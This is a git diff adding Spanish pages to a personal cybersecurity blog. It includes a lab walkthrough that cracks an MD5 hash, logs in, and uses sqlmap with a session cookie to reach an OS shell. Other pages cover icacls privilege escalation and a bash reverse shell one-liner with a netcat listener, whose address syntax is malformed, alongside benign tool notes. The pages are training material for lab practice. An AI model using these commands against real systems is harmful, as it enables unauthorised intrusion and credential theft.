11-55-53](https://user-images.githubusercontent.com/103068924/165274505-6168b701-cc37-4810-b0c1-0cab72b0ed91.png) + +Ahora ya podemos copiar la contraseña y descomprimir el archivo .zip: + + unzip backup.zip + + +![Captura de pantalla -2022-04-26 11-59-18](https://user-images.githubusercontent.com/103068924/165275309-2f069ecc-67b7-47db-8f67-cff6f646babd.png) + +Y podemos ver como ya tenemos los archivos index.php y style.css en nuestro direcctiorio: + +![Captura de pantalla -2022-04-26 11-59-37](https://user-images.githubusercontent.com/103068924/165275404-435b6409-55fc-451c-bc57-c575d86991d7.png) + +### Revisión del código fuente: + +Tras revisar el archivo index.php, podemos ver como es una copia del código fuente de la página de inicio de sesión +anterior. +Pero si nos fijamos, incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo +`index.php` mediante `cat` o dirigirnos a la url `http://[Ip Víctima]/index.php` (la página es visualmente es igual) y +con clic derecho sobre la página y 'ver código fuente'. + + cat index.php + +![Captura de pantalla -2022-04-26 12-08-50](https://user-images.githubusercontent.com/103068924/165276973-60275a49-325c-4973-92d7-366a8dbb3faf.png) + +El apartado que a nosotros nos interesa es el `session_start`, donde nos reporta un nombre de usuario `admin` y un +hash de una contraseña. + +![Captura de pantalla -2022-04-26 12-11-16](https://user-images.githubusercontent.com/103068924/165277394-c9f38ef0-efa2-4d65-8906-1b5d6a757b5c.png) + +Para trabajar de manera más cómoda, crearemos un archivo llamado credentials.txt y guardaremos el usuario(admin) y +el hash encontrados. + + nano credentials.txt + +![Captura de pantalla -2022-04-26 12-22-18](https://user-images.githubusercontent.com/103068924/165279384-03afa789-3a37-4376-8538-507d32c9a2c6.png) + +Guardamos (Cntrl + o) y salimos (Cntrl + x). + +![Captura de pantalla -2022-04-26 12-23-11](https://user-images.githubusercontent.com/103068924/165279549-74cbfada-16e8-4eac-9ef6-f29a9bc6fd44.png) + +## Identificar algoritmo del Hash + +### HashID: + +Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta +Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a +partir de una contraseña. + +Podéis encontrar más información aquí: [HashID](../Herramientas_y_Scripts/HashId.html) + +Para instalar la herramienta: + + sudo apt install hashid + +Para ejecutarla: + + hashid [Hash Núm] + + hashid 2cb42f8734ea607eefed3b70af13bbd3 + +![Captura de pantalla -2022-04-26 12-33-14](https://user-images.githubusercontent.com/103068924/165281291-c32d3c2a-5ab4-441e-bb04-81190b786114.png) + +Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. Recordar que la aplicación nos +reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información +voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa. + +### Hash-Identifier: + +Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia +de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. +Podéis encontrar más información aquí: [Hash Identifier](../Herramientas_y_Scripts/Hash-Identifier.html) + +Para instalar: + + sudo apt install hash-identifier + + ![Captura de pantalla -2022-04-26 19-59-02](https://user-images.githubusercontent.com/103068924/165363111-7e273a59-44e3-4704-a4e8-67df02f36a22.png) + +Para ejecutarlo: + + hash-identifier + +![Captura de pantalla -2022-04-26 20-01-03](https://user-images.githubusercontent.com/103068924/165363442-be95e169-8cfe-49a1-813c-1176cac2a472.png) + +Vemos como se nos despliega una interfaz gráfica donde pegaremos el hash que queremos analizar. + +![Captura de pantalla -2022-04-26 20-04-12](https://user-images.githubusercontent.com/103068924/165363897-b100c21f-6d40-4f3f-bf24-4bdb4d763a16.png) + +![Captura de pantalla -2022-04-26 20-05-15](https://user-images.githubusercontent.com/103068924/165363916-d09f8190-f21d-44ef-9c96-64180c87f0f0.png) + +Una vez analizado el hash, vemos como en la parte superior nos reporta los algoritmos, en este caso MD5. + +![Captura de pantalla -2022-04-26 20-04-59](https://user-images.githubusercontent.com/103068924/165364101-b7bf0c4b-99ca-4c02-93e3-fdbef75c8ff8.png) + +Perfecto, ya tenemos un hash y conocemos el algoritmo en el que esta basado. El siguiente paso será crackear el hash. +Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizaremos la herramienta HashCat. + +## Crackear Hash + +### HashCat: + +[HashCat](../Web/Herramientas_y_Scripts/HashCat.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. + +Para crear el archivo: + + echo 'Número de Hash' > hash2 + + ![Captura de pantalla -2022-04-27 11-54-53](https://user-images.githubusercontent.com/103068924/166647923-9ddc2c5c-801e-4f00-8a91-f9d3653af889.png) + +En caso de no tener instalado HashCat: + + sudo apt install hashcat + +Ahora debemos asegurarnos que tenemos el diccionario `rockyou.txt` en el direcctorio `/usr/share/wordlists/`. +Podemos descargarnos o copiar el diccionario `rockyou.txt` en el siguiente enlace: +[https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt](https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt) + +Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando: + + hashcat -a 0 -m 0 'Número Hash' /usr/share/wordlists/rockyou.txt + +-a : Attack-mode. El 0 representa el modo `Straight`. + +-m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. + +hash2 : Nombre del archivo que contiene el hash que queremos descifrar. + +rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. + +![Captura de pantalla -2022-04-27 11-56-27](https://user-images.githubusercontent.com/103068924/166648025-d3c9c25c-1d4c-4f50-87a0-cd473f6f27fa.png) + +Nos indica que ha encontradoalgo y que utilizemos `--show` para poder visualizarlo. + + hashcat --show hash2 + +![Captura de pantalla -2022-04-27 11-56-58](https://user-images.githubusercontent.com/103068924/166648230-7ed5f7d0-df2e-49d6-b250-54287562fb0d.png) + + +Como podemos ver, Hashcat descifró la contraseña: qwerty789 + +## Acceso al Sistema: + +Ya conocemos un usuario `admin` y una contraseña `qwerty789`, con esta información vamos a volver a la página web donde nos +aparecia una pagina de inicio de sesión y vamos a tratar de acceder utilizando estos datos. + +![Captura de pantalla -2022-04-27 12-03-29](https://user-images.githubusercontent.com/103068924/166648293-0cbd813b-ec67-4c0e-a939-fb65265e032a.png) + +Genial, podemos ver como tenemos acceso como el usuaio `admin`. + +Tras revisar el contenido de la página, vemos como el tablero no reporta nada especial, sin embargo, nos muestra un catálogo que +podría estar conectado con la base de datos. + +Vamos a tratar de realizar algunas consultas y ver que ocurre: + +![Captura de pantalla -2022-04-27 12-04-13](https://user-images.githubusercontent.com/103068924/166648517-ad1acbad-2a4f-4a97-a624-079023d13e16.png) + +Al verificar la URL, podemos ver que hay una variable `$search` que es responsable de buscar en el catálogo. + +![Captura de pantalla -2022-04-27 12-06-08](https://user-images.githubusercontent.com/103068924/166648647-2caa34fd-e4ca-4bf4-99f2-78ee204e0946.png) + +Intentemos forzar un error en la URL a ver que nos reporta, para ello simplemente quitaremos una comilla de la URL: + +![Captura de pantalla -2022-04-27 12-07-04](https://user-images.githubusercontent.com/103068924/166649000-b923f2a7-e0a3-49db-8a00-9b6905de9ade.png) + +![Captura de pantalla -2022-04-27 12-06-41](https://user-images.githubusercontent.com/103068924/166648842-a33e5172-8e19-4bcb-b785-ef2ca634bda9.png) + +Vemos como al tener una sintaxis erronea, nos repotar el siguiente mensaje: + +![Captura de pantalla -2022-04-27 12-06-52](https://user-images.githubusercontent.com/103068924/166648944-796ab23a-74a1-4bd8-88b4-9e4e9854a331.png) + +Tras ver esto, vamos a probar si es vulnerable a una inyeccion SQL, se puede hacer manualmente, pero para facilitarnos el trabajo +usaremos una herramienta llamada `Sqlmap`. + +## SQLMAP + +SQLmap es una herramienta de código abierto utilizada en pruebas de penetración para detectar y explotar fallas de inyección SQL. SQLmap automatiza +el proceso de detección y explotación de inyección SQL. Los ataques de inyección de SQL pueden tomar el control de las bases de datos que utilizan SQL. + +Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio o con el siguiente comando: + + sudo apt install sqlmap + +Una vez tenemos SQLmap instalado vamos a ejecutarlo. Para ello en primer lugar unicamente especificaremos la `url`. + + sqlmap --url "10.129.25.145/dashboard.php?search=" + +Como podeís ver no nos muestra nada interesante utilizando solo la URL. +Tambien nos muestra que no tenemos unas cookies de sesión definidas. Como +ya estamos registrados como el usuario `admin` podemos utilizar sus credenciales de las cookies de inicio de sesión. + +Para ello volvemos a firefox y mediante `cntrl + shift + c` o clic derecho e Inspeccionar se nos abrirá una pestaña. Dentro de la pestaña vamos hasta +`Almacenamiento` y luego `Cookies`. Vemos como nos muestra un `Nombre` y un `Valor`, vamos a copiarlos y utilizarlos con `SQLmap`. + +![Captura de pantalla -2022-05-04 11-01-24](https://user-images.githubusercontent.com/103068924/166653464-da9d7d86-d1e0-49b9-9c6b-7f9bd0375857.png) + +![Captura de pantalla -2022-05-04 11-01-47](https://user-images.githubusercontent.com/103068924/166653486-611f2dba-b3b0-4793-8ed0-83f67127dbd6.png) + +Ahora especificaremos los datos de inicio de sesión de las cookies en el comando anterior, esto lo haremos mediante la variable `--cookie`, tambien vamos a especificar mediante `--batch` que automatice todo el proceso sin necesidad de que nos pregunte que tareas realizar. + +Y lo más importante, lo que queremos buscar mediante el escaneo, en nuestro caso vamos a tratar de enumerar los archivos de la base detos mediante +la variable `--current-db`. + + sqlmap --current-db --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch + +![Captura de pantalla -2022-05-04 11-39-31](https://user-images.githubusercontent.com/103068924/166658210-dd977256-fa3c-47dc-b9f9-def0335b4c61.png) + +![Captura de pantalla -2022-05-04 11-39-53](https://user-images.githubusercontent.com/103068924/166658233-62922c6f-cbd6-4e33-8a51-c372b2a40605.png) + +Podemos ver como nos reporta que el nombre de la base de datos es `public`. + +Conociendo el nombre de la base de datos, mediante sqlmap vamos a tratar de numerar las tablas de la sbase de datos `public`: + + sqlmap -D public --tables --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch + +`-D` : Indica que vamos a especificar una base de datos. En nuestro caso `public`. + +`--tables` : Está variable nos reportará las tablas de las base de datos que hemos especificado. + +![Captura de pantalla -2022-05-04 11-47-48](https://user-images.githubusercontent.com/103068924/166659388-bba12e75-baea-4740-b286-3e15b6579774.png) + +![Captura de pantalla -2022-05-04 11-48-13](https://user-images.githubusercontent.com/103068924/166659406-e96e459a-b484-47a3-a015-c66443682701.png) + +Sqlmap nos muestra que dentro de la base de datos `public` existe una tabla llamada `cars`. + +Nuevamente realizaremos otro escaneo especificando la tabla cars: + + sudo sqlmap -D public -T cars --columns --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch + +`-T` : Indica que vamos a especificar las tablas. En nuestro caso `cars`. + +`--columns` : Nos reporta las columnas de la tabla especificada. + +![Captura de pantalla -2022-05-04 11-54-26](https://user-images.githubusercontent.com/103068924/166660428-a0c9b440-a411-448b-a888-4d2b8603cdaa.png) + +![Captura de pantalla -2022-05-04 11-48-13](https://user-images.githubusercontent.com/103068924/166660453-bd414d72-bd3f-4d5d-8dcc-d84ece33445c.png) + +Genial, vemos como nos a reportado la siguiente tabla: + +![Captura de pantalla -2022-05-04 11-54-40](https://user-images.githubusercontent.com/103068924/166660515-80da7ede-8a33-4ff3-8eb1-07fcbb78d547.png) + +Está tabla tampoco parece reportar nada innteresante así que trataremos de crear mediante Sqlmap una Shell interactiva. + +Para ello utilizaremos la siguiente variable de Sqlmap: + + sudo sqlmap --os-shell --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" + +![Captura de pantalla -2022-05-04 12-05-16](https://user-images.githubusercontent.com/103068924/166662665-b4ff7717-f447-4007-a740-c87eb6a209ee.png) + +![Captura de pantalla -2022-05-04 12-05-41](https://user-images.githubusercontent.com/103068924/166662689-5efdcacb-4081-4c3f-9dc2-92b004aab684.png) + +Ya tenemos nuestra shell activa, vamos a investigar un poco para ver que +archivos contiene. Primero mediante `ls` vamos a ver que tenemos en el directorio en el que nos encontramos. + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Windows/Administrar_Usuarios_y_Permisos.md b/Web/Windows/Administrar_Usuarios_y_Permisos.md new file mode 100644 index 00000000000..c7e49627cc4 --- /dev/null +++ b/Web/Windows/Administrar_Usuarios_y_Permisos.md @@ -0,0 +1,96 @@ +# Administrar Usuarios y Permisos Windows + +En este artículo se muestra como crear o eliminar usuarios y administrar permisos de usuarios desde la shell de Windows. + +## Abrir la Terminal: + +Para abrir la terminal en Windows podemos escribir en el buscador `cmd` o presionar `Tecla Windows + R` y luego escribimos `cmd` o `símbolo del sistema`. +Lo ideal para no tener problemas, es abrir la Terminal como Administrador, para ello la buscamos mediante el buscador y escribimos `cmd`, luego presionamos +clic Derecho y `Abrir como Administrador`. + +## Listar Usuarios: +Mediante este comando podremos ver todos los usuarios registrados en el sistema: + + net user + +## Crear un Nuevo Usuario: +Para crear un Usuario Nuevo sin permisos de Administrador podemos utilizar los siguientes comandos. Debemos tener en cuenta que el Usuario creado no +tendrá contraseña y que tenemos que definirla nosotros una vez creado. + + net user 'nombre de usuario' /add + +Otro comando para crear un Usuario es el siguiente: + + adduser 'nombre de usuario' + +## Establecer Contraseña a un Usuario: + +Una vez tenemos el Usuario creado, vamos a establecer una contraseña. Para ello introducimos el siguiente comando y se nos desplegará en la terminal la +opción de introducir una contraseña. + + net user 'nombre usuario' * + +En caso de querer eliminar la contraseña, simplemente usamos el mismo comando, pero en este caso en vez de introducir una contraseña nueva, solo +pulsamos dos veces `Enter` dejando los parámetros en blanco. + +## Ver Permisos: +Mediante el siguiente comando podremos ver que tipo de permisos le podemos dar a cada usuario. La lista que muesta el siguiente comando, muestra todos +los permisos. + + net localgroup + +## Dar Permisos a un Usuario: +Para poder dar permisos a un Usuario, como por ejemplo como `Administrador`, realizamos lo siguiente: + + net localgroup administrador 'nombre de usuario' /add + + En caso de desear otro tipo de permiso, simplemente cambiamos `administrador` por el permiso que le queramos dar. + + ## Eliminar Permisos a un Usuario: + La sintaxis es casi igual que para dar permisos, solo cambiamos la variable final por `/delete`: + + net localgroup administrador 'nombre de usuario' /delete + + ## Eliminar Usuarios: + + net user 'nombre de usuario' /delete + + ## Habilitar cuenta de Administrador Oculta: + Este comando activa o habilita la cuenta de administrador oculta del sistema Windows. Esto se utiliza normalmente cuando no tenemos permisos de + administrador, y por tanto, no podemos realizar cambios: + + net user administrador /active:yes + +Para comprobar que estamos utilizando el nombre correcto del permiso (en este caso `administrador`), podemos revisarlo mediante el comando mencionado +anteriormente `net localgroup`. + +Para desactivar la cuenta de administrador oculta: + + net user administrador /active:no + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Windows/Windows.md b/Web/Windows/Windows.md new file mode 100644 index 00000000000..a9f654ed74b --- /dev/null +++ b/Web/Windows/Windows.md @@ -0,0 +1,30 @@ +# Terminal de Windows + +* Administrar Usuarios y Permisos +* Escalada de Privilegios en Windows. + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Windows/escaldaPrivilegiosWindows.md b/Web/Windows/escaldaPrivilegiosWindows.md new file mode 100644 index 00000000000..3acfe063158 --- /dev/null +++ b/Web/Windows/escaldaPrivilegiosWindows.md @@ -0,0 +1,74 @@ +# Escalada de privilegios en Windows + + +## Listar nivel de privilegios del Usuario: + + + whoami /priv + +## Reconocimiento de privilegios con Icacls: + + +Para poder ver los privilegios que tiene nuestro usuario sobre un directorio o archivo en específico podemos utilizar la herramienta `icacls`. + + + icacls [Nombre del Archivo/Directorio] + +`Ejemplos:` + + + icacls Desktop + + icacls user.txt + +![Captura de pantalla 2022-08-03 114112](https://user-images.githubusercontent.com/103068924/182577852-18696ff2-9eeb-4bae-b23e-367931f1bbda.png) + + +En caso de tener privilegios full `F` de algún archivo, lo podremos modificar para darnos permisos y de esta forma interactuar con un archivo con el que antes +no nos estaba permitido. + + +Esto puede ser útil en las máquinas de HTB en el caso de tener privilegios sobre el directorio `root`, pero los cuales aún no han sido incorporados a la flag y , por tanto, no podemos leerla. + + +Para aplicar estos privilegios a un archivo y poder leerlo e interactuar con él, utilizaremos el siguiente comando: + + + icacls [Nombre del Archivo] /grant [Usuario]:[Privilegio] + +`Ejemplo:` + + + icacls root.txt /grant Alfred:F + +`F`: Nos indica los máximos privilegios. + +![Captura de pantalla 2022-08-03 114143](https://user-images.githubusercontent.com/103068924/182577927-775e56c8-47fe-4f52-9543-2bea2d6eac20.png) + + +--- +--- + + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/aria2.html b/Web/aria2.html new file mode 100644 index 00000000000..6ee597286ca --- /dev/null +++ b/Web/aria2.html @@ -0,0 +1,240 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
+
+ +
F1r0x
+
+
Blog sobre informática Y ciberseguridad.
+ + +
+ GitHub +
+
+
+ + + + + + + + + + + +
+ + + + + + + + + + + + + Aria2 + + + + + + + + + + + + + + + + + + + + + +

Aria2

+ +

¿Qué es Aria2?

+ +

Se trata de una herramienta para descargar archivos por torrent desde la terminal. Es un método sencillo pero tiene la desventaja de que puede descargar +pocos torrents al mismo tiempo, ya que si tratamos de descargar varios al mismo tiempo la velocidad de descarga se ve muy afectada.

+ +

Instalar:

+ +
sudo apt install aria2
+
+ +

Para descargar archivos.torrent:

+ +

Podemos realizar la descarga con un archivo .torrent:

+ +
aria2c "archivo.torrent"
+
+ +

Tambien podemos descargar el torrent directamente con la url:

+ +
aria2c "URL del Torrent"
+
+ +

Los archvios descargados se guardan de forma automática en el directorio /home/user/.

+ + + + + + + + + + + + + + + +
+ +
+ + + + + + + + + +
+ + + +
+ + + + +
+ +
+ + + \ No newline at end of file diff --git a/Web/base64.html b/Web/base64.html new file mode 100644 index 00000000000..cec47a2f97b --- /dev/null +++ b/Web/base64.html @@ -0,0 +1,235 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
+
+ +
F1r0x
+
+
Cifrados
+ + +
+ GitHub +
+
+
+ + + + + + + + + + + +
+ + + + + + + + + + + + + Base 64 + + + + + + + + + + + + + + + + + + + + + + +

¿Qué es Base64?

+

Base64 es el algoritmo de binario a texto más popular que se utiliza para convertir datos en texto sin formato para evitar la corrupción de datos durante la +transmisión entre diferentes medios de almacenamiento.

+ +

Además, a menudo se usa para incrustar datos binarios en documentos de texto como HTML, CSS, JavaScript o XML. Dada la gran popularidad del algoritmo, Base64 +está bien documentado, es compatible con varios lenguajes de programación, ha generado varias modificaciones y, por supuesto, tiene su propia especificación.

+ +

Codificar/Descodificar:

+

Existen distintas páginas donde codificar y descodificar datos en Base 64.

+ + + +

Para descodificar datos en base64 mediante la terminal podemos utilizar el siguiente comando:

+ +
echo "Datos en Base64" | base64 -d; echo
+
+ + + + + + + + + + + + + + + +
+ +
+ + + + + + + + + +
+ + + +
+ + + + +
+ + + + \ No newline at end of file diff --git a/Web/bash-reverse-shell.html b/Web/bash-reverse-shell.html new file mode 100644 index 00000000000..30445310539 --- /dev/null +++ b/Web/bash-reverse-shell.html @@ -0,0 +1,224 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
+
+ +
F1r0x
+
+
Shell
+ + +
+ GitHub +
+
+
+ + + + + + + + + + + +
+ + + + + + + + + + + + +

Bash Reverse Shell

+ +

Mediante Bash podemos establecer una shell inversa en la que poder utilizar una gran variedad de herramientas. +En primer lugar, antes debemos tener en cuenta que ciertos detalles sobre la Bash Reverse Shell:

+
    +
  • No funcionará en equipos Windows, ya que estos no tienen instalado Bash.
  • +
  • Tampoco funcinará en sistemas Unix que no tengan Bash instalado, en tal caso, podemos usar sh.
  • +
+ +

Para establecer una reverse shell en bash simplemente nos ponemos en escucha con NetCat por el puerto deseado:

+ +
nc -lvnp PUERTO
+
+ +

Ejemplo:

+ +
nc -lvnp 443
+
+ +

Luego desde el esquipo objetivo ejecutamos el siguiente comando para establecer la reverse shell:

+ +
/bin/bash -i >& /dev/tcp/[Ip Víctima]/[Ip Atacante]-Puerto 0>&1
+
+ +

Ejemplo:

+ +
/bin/bash -i >& /dev/tcp/10.10.10.10/10.10.14.14-443 0>&1
+
+ +

Mediante este comando estamos estableciendo una reverse shell desde el equipo víctima (10.10.10.10) a nuestro equipo (10.10.14.14) por nuestro +puerto 443.

+ +

Si todo ha funcionado correctamente veremos como en la terminal donde estábamos en escucha con NetCat se nos abre la reverse shell.

+ + + + + + + + + + + + + + + +
+ +
+ + + + + + + + + +
+ + + +
+ + + + +
+ + + + \ No newline at end of file diff --git a/Web/bluetoothctl.html b/Web/bluetoothctl.html new file mode 100644 index 00000000000..5ada39be763 --- /dev/null +++ b/Web/bluetoothctl.html @@ -0,0 +1,272 @@ + + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
+
+ +
F1r0x
+
+
Blog sobre informática Y ciberseguridad.
+ + +
+ GitHub +
+
+
+ + + + + + + + + + + +
+ + + + + + + + + + + + + Bluetooth + + + + + + + + + + + + + + + + + + + + + +

Administrador Bluetooth de Linux.

+ +

Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando:

+ +
bluetoothctl
+
+ +

Captura de pantalla -2022-05-01 13-33-44

+ +

Captura de pantalla -2022-05-01 13-34-37

+ +

Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell de bluetoothctl escribir help:

+ +
bluetoot help
+
+ +

Captura de pantalla -2022-05-01 13-35-26

+ +

Captura de pantalla -2022-05-01 13-35-57

+ +

Para poder ver las epecificaciones de nuestro administrador Bluetooth:

+ +
show
+
+ +

Captura de pantalla -2022-05-01 13-45-24

+ +

Para realizar una búsqueda de los dispositivos:

+ +
scan on
+
+ +

Captura de pantalla -2022-05-01 13-50-29

+ +

Para detener la búsqueda:

+ +
scan off
+
+ +

Para conectarnos con un dispositivo:

+ +
connect [Núm. MAC]
+
+ +

El número MAC es el número que corresponde con el dispositivo que se nos muestra en el escaneo.

+ +

Una vez conectados podemos salir de la shell simplemente escribiendo exit.

+ +

Failed to start discovery: org.bluez.Error.NotReady

+ +

Para solucionar este error simplemente volvemos activar el controlador:

+ +
bluetoothctl power on
+
+ +

Captura de pantalla -2022-05-10 00-15-20

+ + + + + + + + + + + + + + + +
+ +
+ + + + + + + + + +
+ + + +
+ + + + +
+ +
+ + + \ No newline at end of file diff --git a/Web/bootear_usb_con_ventoy.html b/Web/bootear_usb_con_ventoy.html new file mode 100644 index 00000000000..f0ae7a96ec9 --- /dev/null +++ b/Web/bootear_usb_con_ventoy.html @@ -0,0 +1,279 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
+
+ +
F1r0x
+
+
+ + +
+ GitHub +
+
+
+ + + + + + + + + + + +
+ + + + + + + + + + + + + Ventoy + + + + + + + + + + + + + + + + + + +
  • ¿Qué es Ventoy?
  • +
  • Cómo Instalar Ventoy
  • +
  • Bootear USB con Ventoy
  • + + +

    +

    ¿Qué es Ventoy?

    + +

    Ventoy es un utilitario libre y de código abierto que se utiliza para escribir archivos de imagen como.iso,.wim,.img,.vhd y.efi en medios +de almacenamiento para crear unidades flash USB de arranque.

    + +

    +

    Cómo Instalar Ventoy

    + +

    Para proceder con la instalación, en primer lugar, debemos descargarnos el programa, podemos hacerlo desde su web oficial +https://ventoy.net/en/download.html o si estamos utilizando Linux podemos clonarlo directamente de GitHub +mediante el comando:

    + +
    git clone https://github.com/ventoy/Ventoy.git
    +
    + +

    Una vez descargado, creraremos un directorio llamado Ventoy y movemos el archivo descargado para luego proceder a descomprimirlo:

    + +
    mkdir Ventoy & mv ventoy-1.0.74-linux.tar.gz ./Ventoy
    +
    + +

    Captura de pantalla -2022-05-14 13-42-15

    + +

    Captura de pantalla -2022-05-14 13-42-50

    + +

    Descomprimimos el archivo. Para ello nos dirigimos al directorio donde se encuentre el archivo descargado y ejecutamos el siguiente +comando:

    + +
    tar -xf [Archivo.tar.gz]
    +
    + +

    Captura de pantalla -2022-05-14 13-44-58

    + +

    Una vez descomprimido, vemos que nos aparece una carpeta nueva en el mismo directorio. Ya disponemos de Ventoy y podemos borrar el archivo .tar.gz que +hemos descomprimido. Finalmente, para instalarlo ejecutamos:

    + +
    ./VentoyGUI.x86_64
    +
    + +

    Se nos abrirá una interfaz gráfica desde la cual realizamos la instalación de Ventoy en cualquier USB.

    + +

    +

    Bootear USB con Ventoy:

    + +

    Una vez tenemos Ventoy instalado y un USB listo en nuestro PC, lo primero que tendremos que hacer es formatear y montar el USB. Para ello en primer lugar +identificamos su directorio:

    + +
    fdisk -l
    +
    + +

    Vemos que el directorio de nuestro USB es el /dev/sdb. El siguiente paso será abrir una terminal desde el directorio que contiene el programa Ventoy, +(la carpeta descomprimida anteriormente) y proceder a montar Ventoy mediante el siguiente comando:

    + +
    sudo sh Ventoy2Disk.sh -i /dev/sdb
    +
    + +

    Al terminar se nos avisará de que la instalación se ha ejecutado correctamente o de si debemos realizar algún procedimiento adicional.

    + +

    Una vez montado Ventoy en nuestro USB, veremos que el nombre de nuestro dispositivo USB abra pasado a llamarse Ventoy.

    + +

    Ahora, para montar un archivo .iso lo único que debemos hacer es copiarlo dentro del USB. Podemos copiar varios archivos .iso, ya que antes +de realizar el arranque nos preguntara que Sistema Operativo deseamos ejecutar. Es importante que el dispositivo USB tenga espacio de sobra para +poder almacenar los distintos archivos.iso.

    + +

    Finalmente, una vez copiadas las .iso podemos arrancar el PC desde la Bios y seleccionar el Sistema Operativo que queramos.

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/bufferoverflow.html b/Web/bufferoverflow.html new file mode 100644 index 00000000000..ed102cb0155 --- /dev/null +++ b/Web/bufferoverflow.html @@ -0,0 +1,257 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Buffer + + + + + + + + + + + + + + + + + + +

    Buffer Overflow

    + +
  • ¿Qué es un Buffer?
  • +
  • ¿Para qué sirve el Buffer?
  • +
  • ¿Qué es Buffer Overflow?
  • + +

    +

    ¿Qué es un Buffer?

    + +

    El buffer es un espacio temporal de memoria física el cual se usa para almacenar información mientras se envía de un lado a otro. Los buffers se pueden +encontrar en todo tipo de dispositivos electrónicos, desde el nivel de circuitos hasta el nivel de la comunicación entre dispositivos como por ejemplo +en el funcionamiento de internet.

    + +

    Los buffers son tan comunes por su función, que es paliar la diferencia de velocidad de transmisión o procesamiento entre dos dispositivos o procesos +por eso están por todos lados en un ordenador: en discos duros, procesadores, RAM, impresoras… y su tamaño y características pueden afectar al +rendimiento del dispositivo.

    + +

    +

    ¿Para qué sirve el Buffer?

    + +

    Un buffer suele utilizarse para transmitir información en sistemas en los cuales la velocidad a la que se obtiene o se manda la información es diferente +a la velocidad a la que se procesa, y no deben confundirse con la memoria cache, ya que tienen funciones muy diferentes: los buffers almacenan información +sin mantenerla más tiempo del que tarda en mandarse, pero la memoria cache almacena información durante un periodo de tiempo para que diferentes procesos +o aplicaciones puedan acceder a ella rápidamente.

    + +

    +

    ¿Qué es Buffer Overflow?

    + +

    El Buffer Overflow o desbordamiento de búfer es un error de codificación de software o una vulnerabilidad que los piratas informáticos pueden explotar +para obtener acceso no autorizado a los sistemas corporativos. Es una de las vulnerabilidades de seguridad de software más conocidas, pero sigue siendo +bastante común. Esto se debe en parte a que los desbordamientos de búfer pueden ocurrir de varias maneras y las técnicas utilizadas para evitarlos suelen +ser propensas a errores.

    + +

    Ejemplo:

    + +

    Se podría entender el funcionamiento de un buffer haciendo una analogía con dos tuberías de agua y entre ellas un deposito, que funcionaría +como el buffer de este sistema.

    + +

    La tubería A vierte agua al depósito y tiene una capacidad máxima de 20L a la hora, mientras que la tubería B puede vaciar +el deposito a un ritmo variable según se necesite con una capacidad máxima de 10L a la hora. Pongamos que en situación normal entran 8L al depósito +por la tubería A, de forma que nada más entrar en él puede salir por la tubería B, pasando por el deposito que funcionaría como un buffer un +tiempo mínimo.

    + +

    Pero imaginémonos que excepcionalmente entran 12L por la tubería A, ahora parte de esa agua se quedaría en el deposito llenándolo ya que solo podrán +salir por la tubería B 10L, esperando a que el flujo de agua baje y puedan salir, pero si pasa demasiado tiempo este se acabará llenando y se +desbordará (buffer overflow) y eliminando del sistema el excedente, es decir, parte de los datos nuevos que entren.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/burpsuite.html b/Web/burpsuite.html new file mode 100644 index 00000000000..9b41e78aede --- /dev/null +++ b/Web/burpsuite.html @@ -0,0 +1,401 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
